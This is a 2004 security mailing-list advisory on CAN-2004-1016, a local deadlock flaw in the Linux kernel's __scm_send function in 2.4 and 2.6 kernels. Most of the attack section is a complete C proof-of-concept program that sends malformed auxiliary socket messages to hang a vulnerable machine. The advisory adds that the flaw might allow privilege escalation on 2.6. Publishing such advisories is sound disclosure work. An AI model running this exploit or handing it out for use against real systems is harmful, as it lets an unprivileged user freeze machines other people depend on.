Date: 15 Dec 2004 18:05:59 +0200
From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Subject: [UNIX] Linux Kernel scm_send Local DoS Vulnerability
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Linux Kernel scm_send Local DoS Vulnerability
------------------------------------------------------------------------
SUMMARY
A locally exploitable flaw has been found in the Linux socket layer that
allows a local user to hang a vulnerable machine.
DETAILS
Vulnerable Systems:
* Linux kernel versions 2.4 up to and including 2.4.28
* Linux kernel versions 2.6 up to and including 2.6.9
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1016>;
CAN-2004-1016
The Linux kernel provides a powerful socket API to user applications.
Among other functions, sockets provide an universal way for IPC and
user-kernel communication. The socket layer uses several logical sub
layers. One of the layers, the auxiliary message layer (or scm layer)
augments the socket API by a universal user-kernel message passing
capability (see recvfrom(2) for more details on auxiliary messages).
One of the scm message parsing functions invoked from the kernel sendmsg()
code is __scm_send() and it suffers from a deadlock condition if a
carefully prepared auxiliary message is sent to a socket by an
unprivileged application.
Note: The kernel 2.4 branch is not further exploitable but on the 2.6.x
branch it might be possible to gain elevated privileges.
Proof Of Concept
/*
* Linux kernel 2.4 & 2.6 __scm_send DoS
* Warning! this code will hang your machine
*
* gcc -O2 scmbang.c -o scmbang
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
static char buf[1024];
void
fatal (const char *msg)
{
printf ("\n");
if (!errno)
{
fprintf (stderr, "FATAL: %s\n", msg);
}
else
{
perror (msg);
}
printf ("\n");
fflush (stdout);
fflush (stderr);
exit (1);
}
int
main (void)
{
int s[2], r;
struct sockaddr_in sin;
struct msghdr *msg;
struct cmsghdr *cmsg;
r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
if (r < 0)
fatal ("socketpair");
memset (buf, 0, sizeof (buf));
msg = (void *) buf;
msg->msg_control = (void *) (msg + 1);
// make bad cmsgs
cmsg = (void *) msg->msg_control;
cmsg->cmsg_len = sizeof (*cmsg);
cmsg->cmsg_level = 0xdeadbebe;
cmsg->cmsg_type = 12; // len after overflow on second msg
cmsg++;
// -12 for deadlock
cmsg->cmsg_len = -12;
cmsg->cmsg_level = SOL_IP;
msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned)
msg->msg_control;
r = sendmsg (s[0], msg, 0);
if (r < 0)
fatal ("sendmsg");
printf ("\nYou lucky\n");
fflush (stdout);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:ihaquer@isec.pl.> Paul
Starzetz.
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